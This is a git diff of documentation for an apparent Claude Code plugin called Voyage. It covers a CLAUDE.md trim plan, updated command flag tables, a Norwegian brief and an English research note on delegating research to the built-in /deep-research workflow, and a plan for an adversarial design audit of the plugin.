| L56 S33 agent-inventory reconcile | 740 / ~185 | Keep the terse fact ("24 agent files = 21 spawnable + 3 orchestrator reference docs; `synthesis-agent` dormant; all `opus`"), move the sonnet-downgrade rationale out | `docs/voyage-vs-cc-balance-analysis.md` §10 |
|
||||
| L58 Model & effort axes | 588 / ~147 | Keep one line ("`opus`=Opus 4.8 / `high`; select agents carry native `effort:`; distinct from brief `phase_signals.effort`"), move the per-agent effort table + axes explanation out | `docs/profiles.md` §Model & effort axes |
|
||||
|
||||
**Net:** ~2,261 → ~1,300 tok. (Verify the after-figure with `node /path/to/config-audit/scanners/manifest.mjs <voyage-path>` → the `project` `claude-md` source.)
|
||||
|
||||
## Procedure
|
||||
|
||||
1. For each block above, confirm the destination doc already contains the detail (it's referenced, so it should) — if not, move the prose there first.
|
||||
2. Replace each block-quote with its terse invariant + pointer.
|
||||
3. Leave Commands/Agents tables byte-exact (counts + model column).
|
||||
4. `node --test 'tests/**/*.test.mjs'` + `bash verify.sh` green; confirm `doc-consistency` passes.
|
||||
5. Re-measure; commit `docs(claude-md): trim CLAUDE.md to invariants` to voyage's Forgejo. Δ lands on the machine after operator `/exit` + reload.
|
||||
|
||||
## Notes
|
||||
|
||||
- This mirrors the same trim already done directly in config-audit (−662 tok), linkedin-studio (−2,266), ms-ai-architect (−346), okr (−15), portfolio-optimiser (−93) — same principle: CLAUDE.md carries invariants for working on the plugin; history/rationale lives in CHANGELOG + docs/.
|
||||
- The voyage honesty culture (no overclaiming) is *preserved*, not trimmed: the synthesis-PoC Δ≈0 caveat stays as a one-liner; only the long-form explanation moves to its doc.
|
||||
|
|
@ -8,8 +8,8 @@ Per-command flag tables, imported from `CLAUDE.md` via pointer.
|
|||
|------|----------|
|
||||
| _(default)_ | Dynamic interview until quality gates pass → brief.md with research plan |
|
||||
| `--quick` | Compact start; still escalates if required sections are weak or the brief-review gate fails → brief.md with research plan |
|
||||
| `--gates {open\|closed\|adaptive}` | (v3.4.0) Autonomy-checkpoint policy. Default `adaptive` |
|
||||
| `--profile <name>` | (v4.1.0) Model profile: `economy` / `balanced` / `premium` / `<custom>`. Sets `phase_models` for the brief phase. See `## Profile system` in `docs/operations.md`. |
|
||||
| `--gates {true\|false}` | (v3.4.0) Boolean autonomy-gate flag; present → gating on. Policy (`gates_mode`) detailed under `## Autonomy mode` in `docs/operations.md`. |
|
||||
| `--profile <name>` | (v4.1.0) Model profile: `economy` / `balanced` / `premium` / `fable` / `<custom>`. Sets `phase_models` for the brief phase. See `## Profile system` in `docs/operations.md`. |
|
||||
|
||||
Always interactive. Phase 3 is a section-driven completeness loop (no hard cap on question count); Phase 4 runs a `brief-reviewer` stop-gate with max 3 review iterations. After writing the brief, asks the user to choose manual (print commands) or auto (Claude runs research + plan in foreground).
|
||||
|
||||
|
|
@ -23,8 +23,10 @@ Always interactive. Phase 3 is a section-driven completeness loop (no hard cap o
|
|||
| `--local` | Only codebase analysis agents (skip external + Gemini) |
|
||||
| `--external` | Only external research agents (skip codebase analysis) |
|
||||
| `--fg` | No-op alias (foreground is default since v2.4.0) |
|
||||
| `--gates {open\|closed\|adaptive}` | (v3.4.0) Autonomy-checkpoint policy. Default `adaptive` |
|
||||
| `--gates {true\|false}` | (v3.4.0) Boolean autonomy-gate flag; present → gating on. Policy (`gates_mode`) detailed under `## Autonomy mode` in `docs/operations.md`. |
|
||||
| `--min-brief-version <ver>` | (S18) Warn — never block — if an attached `--project` brief declares a version below `<ver>` (e.g. `2.2`), i.e. sidesteps framing enforcement |
|
||||
| `--profile <name>` | (v4.1.0) Model profile for the research phase. |
|
||||
| `--engine {swarm\|deep-research}` | (deep-research-engine) Opt-in external-research engine; `deep-research` delegates the external phase to Claude Code's built-in `/deep-research` workflow (CC 2.1.154+), falls back to `swarm`. Default `swarm`. |
|
||||
|
||||
Flags combine: `--project <dir> --local`, `--external --quick`.
|
||||
|
||||
|
|
@ -37,9 +39,10 @@ Flags combine: `--project <dir> --local`, `--external --quick`.
|
|||
| `--research <brief> [brief2]` | Enrich with extra research briefs beyond what is in `{project_dir}/research/` |
|
||||
| `--fg` | No-op alias (foreground is default since v2.4.0) |
|
||||
| `--quick` | Plan directly (no agent swarm) |
|
||||
| `--export <pr\|issue\|markdown\|headless> <plan>` | Generate shareable output from existing plan |
|
||||
| `--min-brief-version <ver>` | (S18) Warn — never block — if the brief declares a version below `<ver>` (e.g. `2.2`), i.e. sidesteps framing enforcement |
|
||||
| `--export headless <plan>` | Legacy alias for `--decompose` — the only remaining export format (the `pr` / `issue` / `markdown` variants were removed; Claude reformats a plan ad-hoc on request) |
|
||||
| `--decompose <plan>` | Split plan into self-contained headless sessions |
|
||||
| `--gates {open\|closed\|adaptive}` | (v3.4.0) Autonomy-checkpoint policy. Default `adaptive` |
|
||||
| `--gates {true\|false}` | (v3.4.0) Boolean autonomy-gate flag; present → gating on. Policy (`gates_mode`) detailed under `## Autonomy mode` in `docs/operations.md`. |
|
||||
| `--profile <name>` | (v4.1.0) Model profile for the plan phase (and others, since plan emits `profile:` to plan.md frontmatter). |
|
||||
|
||||
**Breaking change (v2.0):** one of `--brief` or `--project` is required. There is no interview inside `/trekplan`. The `--spec` flag has been removed — use `/trekbrief` to produce a brief instead.
|
||||
|
|
@ -58,7 +61,7 @@ If `{project_dir}/architecture/overview.md` exists (typically produced by an opt
|
|||
| `--step N` | Execute only step N |
|
||||
| `--fg` | Force foreground — run all steps sequentially, ignore Execution Strategy |
|
||||
| `--session N` | Execute only session N from plan's Execution Strategy |
|
||||
| `--gates {open\|closed\|adaptive}` | (v3.4.0) Autonomy-checkpoint policy. Default `adaptive` |
|
||||
| `--gates {true\|false}` | (v3.4.0) Boolean autonomy-gate flag; present → gating on. Policy (`gates_mode`) detailed under `## Autonomy mode` in `docs/operations.md`. |
|
||||
| `--profile <name>` | (v4.1.0) Model profile for the execute phase. Inherited from plan.md frontmatter `profile:` if present. |
|
||||
|
||||
## /trekreview modes
|
||||
|
|
@ -72,6 +75,7 @@ If `{project_dir}/architecture/overview.md` exists (typically produced by an opt
|
|||
| `--validate` | Schema-only check on existing `{dir}/review.md`. No LLM calls |
|
||||
| `--dry-run` | Print discovered scope + triage map; skip writes |
|
||||
| `--fg` | No-op alias (foreground is default) |
|
||||
| `--workflow` | (opt-in, NW2) Run Phase 5–6 on the bake-off-validated Workflow substrate (`scripts/trekreview-armB.workflow.mjs`) instead of the default prose path. Default stays prose; requires **Claude Code 2.1.154+** (raises the consumer floor — opt-in for portability). Fidelity-equivalent per `docs/T2-bakeoff-results.md` |
|
||||
| `--profile <name>` | (v4.1.0) Model profile for the review phase. |
|
||||
|
||||
## /trekcontinue modes
|
||||
|
|
|
|||
62
docs/deep-research-engine-brief.md
Normal file
62
docs/deep-research-engine-brief.md
Normal file
|
|
@ -0,0 +1,62 @@
|
|||
---
|
||||
type: trekbrief
|
||||
brief_version: "2.2"
|
||||
task: "Opt-in /deep-research-motor for /trekresearch ekstern-fase"
|
||||
slug: deep-research-engine
|
||||
framing: refine
|
||||
status: ready
|
||||
brief_quality: complete
|
||||
research_topics: 3
|
||||
research_status: complete
|
||||
phase_signals_partial: true
|
||||
---
|
||||
|
||||
# Brief — Opt-in `/deep-research`-motor for `/trekresearch`
|
||||
|
||||
## TL;DR
|
||||
- `--engine {swarm|deep-research}` på `/trekresearch` ekstern-fase; `swarm` default (uendret oppførsel).
|
||||
- `deep-research` delegerer ekstern research til Claude Codes innebygde workflow og adapterer inn i research-brief-skjemaet.
|
||||
- Lokal analyse, triangulering og H2-output (`research/NN-*.md`) er motor-uavhengig.
|
||||
- Feature-detekteres med auto-fallback til `swarm` — aldri hard feil.
|
||||
- Surface-only: `commands/` + `agents/`, ingen nye `lib/`-avhengigheter.
|
||||
|
||||
## Intent
|
||||
`/trekresearch` eier i dag hele den eksterne research-fasen selv (Tavily / MS-Learn / Gemini-sverm). Det er portabelt, men du vedlikeholder fan-out, kryssjekk og syntese selv. Anthropic sin innebygde `/deep-research` vedlikeholder fan-out, adversariell påstandsverifisering, sitatfiltrering og websøk for deg. Lar vi operatøren *velge* `/deep-research` for den eksterne fasen, får brukeren en vedlikeholdsfri "turbo" når den er tilgjengelig — uten at Voyage mister sin egen lokal-analyse, triangulering eller H2-kontrakt.
|
||||
|
||||
## Goal
|
||||
`/trekresearch` får et `--engine {swarm|deep-research}`-valg på den eksterne fasen. `swarm` er default (dagens oppførsel). `deep-research` delegerer den eksterne fasen til den innebygde workflowen og adapterer resultatet inn i research-brief-skjemaet. Lokal analyse, triangulering og H2-output (`research/NN-*.md`) er uendret uansett motor.
|
||||
|
||||
## Non-Goals
|
||||
- Bygge om `/trekresearch` på et eget dynamic-workflow-substrat (vurdert og forkastet, Δ≈0).
|
||||
- Multi-provider (Perplexity / Google) — hører til en senere egen `workflow`-motor, ikke denne.
|
||||
- Endre den lokale svermen, handover-kontraktene eller validator-skjemaene.
|
||||
- Gjøre `/deep-research` til default.
|
||||
|
||||
## Constraints / NFR
|
||||
- `/deep-research` krever Claude Code v2.1.154+ og må være på (Pro: via `/config`). Må feature-detekteres med auto-fallback til `swarm` — aldri hard feil.
|
||||
- Output må passere `research-validator.mjs` (confidence ∈ [0,1], dimensions ≥ 1, påkrevde body-seksjoner).
|
||||
- Ingen nye `lib/`-avhengigheter; overflate-endring i `commands/` + `agents/`.
|
||||
- Doc-consistency: oppdater command-tabellen i `CLAUDE.md` + `README.md`, kjør `npm test`.
|
||||
|
||||
## Success Criteria
|
||||
1. `/trekresearch --external --engine swarm "<q>"` gir identisk oppførsel som før (regresjon grønn).
|
||||
2. `/trekresearch --external --engine deep-research "<q>"` produserer en `research/NN-*.md` der `research-validator.mjs --json` rapporterer `valid: true`.
|
||||
3. Med dynamic workflows avskrudd faller `--engine deep-research` automatisk tilbake til `swarm` og logger valget — ingen exception.
|
||||
4. `npm test` (inkl. doc-consistency) er grønn.
|
||||
|
||||
## Research Plan
|
||||
1. **Programmatisk trigging av `/deep-research`** — Kan en plugin-kommando starte den innebygde workflowen og fange artefakten, eller må `commands/trekresearch.md` instruere Claude til å kjøre den? Scope: external · Konfidens: høy · Kost: lav.
|
||||
`/trekresearch --external "Kan en Claude Code plugin-kommando programmatisk starte /deep-research og hente rapporten?"`
|
||||
2. **Output-adapter** — Hvordan mappe `/deep-research` sin siterte rapport til research-brief-skjemaet (dimensjoner, confidence, sitater)? Scope: both · Konfidens: høy · Kost: lav.
|
||||
`/trekresearch --project <dir> --local "Hva krever research-validator.mjs av research/NN-*.md?"`
|
||||
3. **Feature-deteksjon + fallback** — Hvordan oppdage om workflows er på, og hvor i fasen fallback-grenen bør sitte? Scope: local · Konfidens: middels · Kost: lav.
|
||||
|
||||
> **Research-status (2026-06-30, operatør-beslutning «option A»):** Topic 1 (eneste ekte eksterne ukjente) er undersøkt → `docs/deep-research-engine-research.md` (validator-grønn). Funn: `/deep-research` er en innebygd **dynamic workflow** (ikke skill) → trigging KUN via prosa-instruksjon, output **inline i kontekst** (ingen on-disk-artefakt) → motoren må være instruksjons-basert + in-context transform. **SC3 er korrekt som skrevet** (`/deep-research` ER en dynamic workflow). Topic 2 (validator-skjema: `type/created/question` + `## Executive Summary`/`## Dimensions`, `dimensions ≥ 1`) og topic 3 (fallback-plassering) er lokale kode-spørsmål reklassifisert til `/trekplan`-utforskning. `research_status: complete` reflekterer denne beslutningen.
|
||||
|
||||
## Open Questions / Assumptions
|
||||
- Antar at `/deep-research`-rapporten kan reduseres til ≥ 1 dimensjon med per-påstand-sitater uten å bryte trianguleringen. Verifiseres i topic 2.
|
||||
- Uavklart om delegering skjer via instruksjon (trygt) eller programmatisk API (raskere) — topic 1 avgjør.
|
||||
|
||||
## Prior Attempts
|
||||
- Dvalende synthesis-agent bygget, målt (Δ≈0) og forkastet → samme lærdom gjelder substrat-bytte: mål før du adopterer.
|
||||
- Workflow-substratet er allerede dokumentert som vurdert-og-valgt-bort i `docs/architecture.md` §Primitives per step.
|
||||
210
docs/deep-research-engine-research.md
Normal file
210
docs/deep-research-engine-research.md
Normal file
|
|
@ -0,0 +1,210 @@
|
|||
---
|
||||
type: trekresearch-brief
|
||||
created: 2026-06-30
|
||||
question: "Can a Claude Code plugin command programmatically trigger the built-in /deep-research workflow and capture its report, or must it instruct Claude to run it?"
|
||||
confidence: 0.85
|
||||
dimensions: 4
|
||||
mcp_servers_used: []
|
||||
local_agents_used: [claude-code-guide]
|
||||
external_agents_used: []
|
||||
slug: deep-research-engine
|
||||
feeds_brief: docs/deep-research-engine-brief.md
|
||||
research_topic: 1
|
||||
---
|
||||
|
||||
# Research — Programmatic trigging of `/deep-research` from a plugin command
|
||||
|
||||
> Targeted single-topic research for the `deep-research-engine` brief (Topic 1 of
|
||||
> the brief's Research Plan). Topics 2 & 3 are local Voyage-code questions folded
|
||||
> into `/trekplan` exploration; only Topic 1 was a genuine external unknown.
|
||||
> Method: `claude-code-guide` agent (Anthropic docs + CHANGELOG, cited) +
|
||||
> direct inspection of this machine (CC 2.1.196 binary, a real local `/deep-research`
|
||||
> run). Not run through the `/trekresearch` swarm — see brief reconcile note.
|
||||
|
||||
## Research Question
|
||||
|
||||
Can a Claude Code **plugin slash-command** (markdown under `commands/`)
|
||||
**programmatically** start the built-in `/deep-research` workflow and **capture its
|
||||
report artifact** for adaptation into the research-brief schema — or must the command
|
||||
instead **instruct** Claude (in prose) to run `/deep-research` and then transform the
|
||||
in-context result?
|
||||
|
||||
## Executive Summary
|
||||
|
||||
Programmatic trigger + file-based capture is **not feasible**: `/deep-research` is a
|
||||
built-in **dynamic workflow** (not a skill), deliberately outside the Skill-tool
|
||||
allowlist, and it returns its report **inline into conversation context with no
|
||||
documented on-disk report artifact**. The **only reliable path is instruction-based
|
||||
delegation** — the command's prose tells Claude to run `/deep-research <q>`, then
|
||||
transforms the in-context report in the same turn. Confidence **high** (Anthropic docs +
|
||||
CHANGELOG + local run), with one residual gap: there is no positive "is it enabled?"
|
||||
probe, so feature-detection must lean on the documented *disable* switches + version
|
||||
floor + a `swarm` default.
|
||||
|
||||
## Dimensions
|
||||
|
||||
### 1. Origin + gating -- Confidence: high
|
||||
|
||||
**External findings:**
|
||||
- `/deep-research` is a **built-in dynamic workflow**, not a command and not a bundled
|
||||
skill. `commands.md` marks the `/deep-research <question>` row as **[Workflow]**;
|
||||
`workflows.md`: "Claude Code includes `/deep-research` as a built-in workflow."
|
||||
[VERIFIED — code.claude.com/docs/en/commands.md, code.claude.com/docs/en/workflows.md]
|
||||
- Gating: available on **all paid plans** (pro/max/team/enterprise) + API/Bedrock/Vertex/
|
||||
Foundry. **On Pro it must be turned on** in the *Dynamic workflows* row of `/config`.
|
||||
Also requires the **WebSearch tool** to be available.
|
||||
[VERIFIED — workflows.md, commands.md bundled-workflows row]
|
||||
- Version floor: dynamic workflows were **introduced in CC 2.1.154**; "Dynamic workflows
|
||||
require Claude Code v2.1.154 or later." The brief's `v2.1.154+` + `(Pro: via /config)`
|
||||
constraints are **both correct**. The exact version that first shipped the *named*
|
||||
`/deep-research` workflow is **[NOT DOCUMENTED]** (only a 2.1.196 bugfix mentions it by
|
||||
name) — treat 2.1.154 as the substrate floor, not a proven introduction point.
|
||||
[VERIFIED — workflows.md + CHANGELOG 2.1.154]
|
||||
|
||||
**Local findings:**
|
||||
- This machine runs **CC 2.1.196** (`claude --version`) — substrate floor satisfied.
|
||||
- The exact skill-description string lives **compiled into the binary**
|
||||
(`/Users/ktg/.local/share/claude/versions/2.1.196`, Mach-O 235 MB); there is **no
|
||||
`SKILL.md`** for it anywhere under `~/.claude` (system-wide `find`/`grep` — only hits
|
||||
are this brief + unrelated harness notes). Confirms "Anthropic-bundled, not user skill."
|
||||
|
||||
### 2. Invocation mechanism (programmatic vs instruction) -- Confidence: high
|
||||
|
||||
**External findings:**
|
||||
- **Not** via the `Skill` tool. The Skill-tool built-in allowlist is closed: only
|
||||
`/init`, `/review`, `/security-review` are reachable; "Other built-in commands such as
|
||||
`/compact` are not." `/deep-research` is a Workflow and is not on that list.
|
||||
[VERIFIED — code.claude.com/docs/en/skills.md]
|
||||
- **Instruction-based delegation is the documented mechanism.** Workflows launch when the
|
||||
user types the command, or **when Claude is asked in natural language** ("use a
|
||||
workflow" / "run a workflow") or via the `ultracode` keyword. A plugin command whose
|
||||
markdown instructs Claude to run `/deep-research <q>` is therefore the supported path.
|
||||
[VERIFIED — workflows.md "Have Claude write a workflow"]
|
||||
- **Approval gate caveat:** launching a workflow triggers a per-run approval prompt —
|
||||
*every run* in default/acceptEdits; *first launch only* in auto; **never in `claude -p`
|
||||
/ Agent SDK / bypass-permissions** ("the run starts immediately"). Voyage's headless
|
||||
surface (`claude -p`) thus delegates without an interactive gate; interactive sessions
|
||||
hit a prompt. [VERIFIED — workflows.md "Behavior and limits"]
|
||||
- No documented blanket "commands/skills cannot nest" prohibition beyond the Skill-tool
|
||||
allowlist + workflow runtime limits (no mid-run user input; 16 concurrent agents;
|
||||
1000 agents/run). [VERIFIED — workflows.md; NOT DOCUMENTED for a general nesting ban]
|
||||
|
||||
### 3. Output capture -- Confidence: high
|
||||
|
||||
**External findings:**
|
||||
- "When the run finishes, **the report lands in your session**"; "Claude's context holds
|
||||
only the final answer." The report is **in-context**, not a file.
|
||||
[VERIFIED — workflows.md]
|
||||
- What *is* written to disk is the orchestration **script**, not the report: "Every run
|
||||
writes its script to a file under your session's directory in `~/.claude/projects/`."
|
||||
[VERIFIED — workflows.md "How a workflow runs"]
|
||||
|
||||
**Local findings:**
|
||||
- A real `/deep-research` run on this machine left exactly one file —
|
||||
`~/.claude/projects/<session>/workflows/scripts/deep-research-wf_<id>.js` — and **no
|
||||
`.md` report** beside it. [VERIFIED — local filesystem inspection by claude-code-guide]
|
||||
- **Consequence:** a calling command cannot `grep` a results file off disk (none is
|
||||
documented to exist). It can only consume the report **as it sits in conversation
|
||||
context in the same turn** — Claude reads its own prior output and transforms it into
|
||||
research-brief schema. [INFERENCE — file-based capture not feasible; in-context
|
||||
transform is the only avenue]
|
||||
|
||||
### 4. Feature detection + fallback -- Confidence: medium
|
||||
|
||||
**External findings:**
|
||||
- **No positive enumeration / "is-enabled" API or flag is documented.** `claude --help`
|
||||
exposes `--disable-slash-commands` but no "list skills/workflows" or "is-feature-on"
|
||||
flag. [VERIFIED — local `claude --help`; NOT DOCUMENTED for any positive probe]
|
||||
- The documented signals are the **off-switches**, read defensively: `/config` Dynamic-
|
||||
workflows off; `disableWorkflows: true` / `disableBundledSkills: true` in settings.json;
|
||||
`CLAUDE_CODE_DISABLE_WORKFLOWS=1` / `CLAUDE_CODE_DISABLE_BUNDLED_SKILLS=1`.
|
||||
[VERIFIED — workflows.md "Turn workflows off"; CHANGELOG 2.1.x]
|
||||
- **The gap:** the Pro `/config` *on*-state is the very thing you most need to detect, and
|
||||
only the *disable* keys are documented; the persisted key/value for the Pro enable-state
|
||||
is **[NOT DOCUMENTED]**, so it cannot be reliably grepped. A failed/disabled
|
||||
`/deep-research` is also **not documented** to raise a signal a sibling command can
|
||||
catch. [VERIFIED gap]
|
||||
|
||||
**Local findings:**
|
||||
- On this machine both disable keys are unset/absent — workflows are not disabled.
|
||||
|
||||
## External Knowledge
|
||||
|
||||
### Best Practice
|
||||
The "Have Claude write a workflow" + "Behavior and limits" sections of `workflows.md`
|
||||
establish that workflows are operator/Claude-launched, run isolated, and return one
|
||||
in-context report. The Skill-tool allowlist (`skills.md`) is the authoritative statement
|
||||
that only three built-ins are tool-invocable.
|
||||
|
||||
### Known Issues
|
||||
Per-run approval prompts outside `-p`/SDK/bypass mean an interactive `/trekresearch
|
||||
--engine deep-research` will pause for operator approval on each launch — acceptable, but
|
||||
worth documenting in the command UX. The absence of a positive availability probe is the
|
||||
single biggest design constraint (see Dimension 4).
|
||||
|
||||
## Synthesis
|
||||
|
||||
Three cross-cutting insights that only emerge from combining the docs with Voyage's brief:
|
||||
|
||||
1. **The brief's SC3 is correct as written — an earlier review note was wrong.** Because
|
||||
`/deep-research` *is itself* a dynamic workflow, "med dynamic workflows avskrudd faller
|
||||
`--engine deep-research` tilbake til swarm" is the right feature-detection axis. A
|
||||
prior brief-review remark that SC3 "conflated `/deep-research` (skill) with dynamic
|
||||
workflows" was based on a wrong premise (that `/deep-research` was a skill) and is
|
||||
retracted. **No SC3 brief edit is needed.**
|
||||
|
||||
2. **The engine must be instruction-based + in-context, never file-based.** Topic 1's
|
||||
open question ("instruction (safe) vs. programmatic API (faster) — topic 1 decides")
|
||||
resolves decisively to **instruction-based**: there is no programmatic API and no
|
||||
on-disk report. The `deep-research` engine path in `commands/trekresearch.md` must
|
||||
(a) instruct Claude to run `/deep-research <q>`, then (b) transform the in-context
|
||||
report into the `research/NN-*.md` schema in the same turn. This is surface-only
|
||||
(`commands/` prose), matching the brief's "ingen nye `lib/`-avhengigheter."
|
||||
|
||||
3. **SC3's "ingen exception" cannot rest on runtime detection — pin it to a default.**
|
||||
Since no positive availability probe exists, robust fallback = version-floor check
|
||||
(≥ 2.1.154) + disable-key heuristic (`disableWorkflows` / env) + **`--engine` default
|
||||
of `swarm`** (explicit opt-in). The fallback is "graceful degradation by design,"
|
||||
not "catch an exception at runtime." This refines, but does not contradict, SC3.
|
||||
|
||||
## Open Questions
|
||||
|
||||
- **Adapter fidelity (brief Topic 2, partly answered locally):** `research-validator.mjs`
|
||||
requires `type: trekresearch-brief` + `created` + `question`; validates `confidence ∈
|
||||
[0,1]` and `dimensions ≥ 1` if present; body must carry `## Executive Summary` +
|
||||
`## Dimensions`. So the `/deep-research` report **can** be reduced to ≥ 1 dimension with
|
||||
per-claim citations and a confidence number — the brief's assumption holds. The
|
||||
remaining open part (how cleanly the in-context report maps to per-dimension
|
||||
local/external splits) is a `/trekplan` exploration concern, not an external unknown.
|
||||
- **Exact intro version of the *named* `/deep-research` workflow** — not documented; the
|
||||
2.1.154 dynamic-workflows floor is the safe pin.
|
||||
|
||||
## Recommendation
|
||||
|
||||
Build the `deep-research` engine as **instruction-based delegation with in-context
|
||||
adaptation**, not a programmatic trigger:
|
||||
1. `--engine deep-research` makes `commands/trekresearch.md`'s external phase instruct
|
||||
Claude to run `/deep-research <q>` and transform the returned in-context report into
|
||||
`research/NN-*.md` (validator-conformant: `## Executive Summary` + `## Dimensions`,
|
||||
`confidence`, `dimensions ≥ 1`).
|
||||
2. Feature-detect by **graceful degradation**: version floor + disable-key heuristic +
|
||||
`--engine` default `swarm`. Do not depend on a positive availability probe (none
|
||||
exists). Log the chosen engine. This satisfies SC3 without a runtime exception.
|
||||
3. Keep `swarm` the default (brief's Non-Goal: "ikke default-bytte"). Document the
|
||||
per-run approval prompt for interactive (non-`-p`) sessions.
|
||||
|
||||
Confidence in the recommendation: **high** for the mechanism (instruction-based +
|
||||
in-context), **medium** for the exact fallback-detection ergonomics (the one documented
|
||||
gap). This is sufficient to green-light `/trekplan` with Topic 1 resolved.
|
||||
|
||||
## Sources
|
||||
|
||||
| # | Source | Type | Quality | Used in |
|
||||
|---|--------|------|---------|---------|
|
||||
| 1 | code.claude.com/docs/en/workflows.md | official | high | Dim 1,2,3,4 + Synthesis |
|
||||
| 2 | code.claude.com/docs/en/commands.md | official | high | Dim 1 (Workflow classification, WebSearch req) |
|
||||
| 3 | code.claude.com/docs/en/skills.md | official | high | Dim 2 (Skill-tool allowlist) |
|
||||
| 4 | github.com/anthropics/claude-code CHANGELOG (2.1.154, 2.1.x, 2.1.196) | official | high | Dim 1,4 (version floor, disable keys) |
|
||||
| 5 | Local: CC 2.1.196 binary inspection (`find`/`grep`, `claude --version`) | codebase | high | Dim 1 (bundled, no SKILL.md) |
|
||||
| 6 | Local: real `/deep-research` run — only `.js` script written, no `.md` report | codebase | high | Dim 3 (no on-disk artifact) |
|
||||
| 7 | Local: `lib/validators/research-validator.mjs` schema | codebase | high | Open Questions (adapter feasibility / Topic 2) |
|
||||
66
docs/devils-advocate-plan.md
Normal file
66
docs/devils-advocate-plan.md
Normal file
|
|
@ -0,0 +1,66 @@
|
|||
# Devil's-advocate session — adversarial cold audit of Voyage (Dynamic Workflow)
|
||||
|
||||
**Status:** Planned 2026-06-18 (post-S13). **Executes in the NEXT session** (after the operator's `/clear`).
|
||||
**Operator mandate (2026-06-18, verbatim):** «Planlegg en "devils advocate" sesjon … hvor du nå oppdaterer STATE.md og forklarer at det skal brukes en Dynamic Workflow for analysen. … denne pluginen er veldig viktig for meg.»
|
||||
**Opt-in:** The operator explicitly requested a **Dynamic Workflow** for the analysis — the next session is authorized to call the `Workflow` tool (multi-agent orchestration). This is a durable opt-in for that session.
|
||||
|
||||
## Why this, why now
|
||||
v5.5.0 just shipped. Today's reflection surfaced an uncomfortable fact: **Voyage was not used to build Voyage** — the whole upgrade arc was hand-orchestrated with bespoke planning docs. Before investing further, subject the plugin to a **cold, hostile audit that actively tries to prove it is over-engineered, wrong, or unmaintainable** — and see what survives. The operator cares about this plugin; the kindest thing is an honest adversary, not applause.
|
||||
|
||||
## Objective (what the session must produce)
|
||||
A severity-tagged, **adversarially-verified** critique written to **`docs/devils-advocate-results.md`**: where Voyage is genuinely weak, where its claims outrun its code, and what (if anything) should change. This is a steelman attack **plus** an honest rebuttal pass — not a feature wishlist, not vibes. Every finding cites `file:line`.
|
||||
|
||||
## Why a Dynamic Workflow (not inline, not the Voyage pipeline)
|
||||
- The audit is a **fan-out → verify → synthesize** shape across independent adversarial angles — exactly the Workflow tool's review/red-team pattern. Independent skeptics that can't see each other's reasoning catch more than one context reasoning sequentially, and the rebuttal pass kills plausible-but-unfair critiques.
|
||||
- It is deliberately **not** run through Voyage's own `/trek*` pipeline: the point is to judge Voyage from the *outside*, cold — not to dogfood it (that is a separate exercise the prior session flagged).
|
||||
- The operator asked for a Dynamic Workflow explicitly.
|
||||
|
||||
## Adversarial dimensions — one finder each, build the STRONGEST case AGAINST
|
||||
Each finder reads the actual code/docs (cite `file:line`); no claim without evidence.
|
||||
|
||||
- **D1 — Ceremony vs. value (existential).** Steelman: "Voyage is a sophistication trap — Plan mode + `/code-review` + a TODO gets 90% of the outcome at 10% of the cognitive/token cost. 7 commands, 24 agents, 697 tests are overhead, not value." Exhibit A: today's non-dogfood.
|
||||
- **D2 — Today's decisions were rationalizations, not conclusions.** Steelman each: CC-26/27 "narrow hybrid not wholesale" (genuine analysis or status-quo bias? the bake-offs were largely *designed-not-run* or deterministic estimates); NW2 "POSITIVE" at **+4.4% tokens** (is that positive? was fidelity real?); NW3 **Δ=0%** decline (the measurement was `chars/4` with *swept, not API-measured* BASE — is the decline robust or an unfalsifiable-estimate artifact?); v5.5.0 versioning (skipping 5.2–5.4 as "unreleased internal milestones" — coherent for consumers, or post-hoc tidy-up?).
|
||||
- **D3 — Brief-as-PUBLIC-CONTRACT is fragile.** Steelman: the framing-enforcement invariant ("brief framing must match operator intent") is itself an admission that the pipeline *structurally polishes wrong premises*. Do the three 2.2 defensive layers actually prevent that failure, or just add friction + a checkbox?
|
||||
- **D4 — Orchestration architecture rests on shifting harness behavior.** Steelman: the v2.4.0 "inline orchestration" migration was forced by a premise ("harness doesn't expose Agent to sub-agents") that turned out **false** (CC-01/S7). The architecture depends on harness behavior the plugin can't control; the dormant synthesis-agent + prose-vs-Workflow indecision are symptoms.
|
||||
- **D5 — Maintainability / rot / solo-maintainer risk.** Steelman: 24 agents (one dormant), 7 commands, many docs, 697 tests — a large share pinning *prose* (doc-consistency). Is that testing value or testing wording? Is this past the complexity event horizon for one fork-and-own maintainer?
|
||||
- **D6 — Claims vs. reality (honesty audit).** Steelman: README/CLAUDE.md make strong claims (context engineering, adversarial review, disciplined execution). Take the load-bearing ones and check whether the code delivers or whether it's aspirational prose. (Turn Voyage's own conformance discipline back on its self-description.)
|
||||
|
||||
## Workflow shape (pipeline by default — refine the script on run)
|
||||
```js
|
||||
export const meta = {
|
||||
name: 'voyage-devils-advocate',
|
||||
description: "Adversarial cold audit of Voyage — steelman attacks + honest rebuttals",
|
||||
phases: [
|
||||
{ title: 'Attack', detail: 'one skeptic per dimension builds the strongest case against' },
|
||||
{ title: 'Rebut', detail: 'steelman the defense; verdict STANDS / WEAKENED / REFUTED' },
|
||||
{ title: 'Synthesize', detail: 'prioritize survivors + completeness critic' },
|
||||
],
|
||||
}
|
||||
const DIMENSIONS = [ /* D1..D6, each {key, prompt} from the section above */ ]
|
||||
const audited = await pipeline(
|
||||
DIMENSIONS,
|
||||
d => agent(`Devil's advocate on Voyage, dimension "${d.key}". ${d.prompt} Read the real code/docs, cite file:line, build the STRONGEST case AGAINST. No vibes.`,
|
||||
{ label:`attack:${d.key}`, phase:'Attack', schema: FINDING_SCHEMA, effort:'high' }),
|
||||
(finding, d) => agent(`Steelman the DEFENSE against this critique, then judge each claim FATAL/MAJOR/MINOR and STANDS/WEAKENED/REFUTED under the best rebuttal: ${JSON.stringify(finding)}`,
|
||||
{ label:`rebut:${d.key}`, phase:'Rebut', schema: VERDICT_SCHEMA, effort:'high' }),
|
||||
)
|
||||
const synthesis = await agent(`Synthesize this adversarial audit into a prioritized verdict + a "what this audit might have missed" section. Findings+rebuttals: ${JSON.stringify(audited.filter(Boolean))}`,
|
||||
{ phase:'Synthesize', schema: SYNTHESIS_SCHEMA, effort:'high' })
|
||||
return synthesis
|
||||
```
|
||||
- **FINDING_SCHEMA:** `{ dimension, findings: [{ claim, severity: FATAL|MAJOR|MINOR, evidence: [file:line], why_it_matters }] }`
|
||||
- **VERDICT_SCHEMA:** `{ dimension, verdicts: [{ claim, strongest_rebuttal, verdict: STANDS|WEAKENED|REFUTED, residual_severity }] }`
|
||||
- **SYNTHESIS_SCHEMA:** `{ survivors: [...ranked], refuted: [...], top_changes: [...], audit_blind_spots: [...] }`
|
||||
|
||||
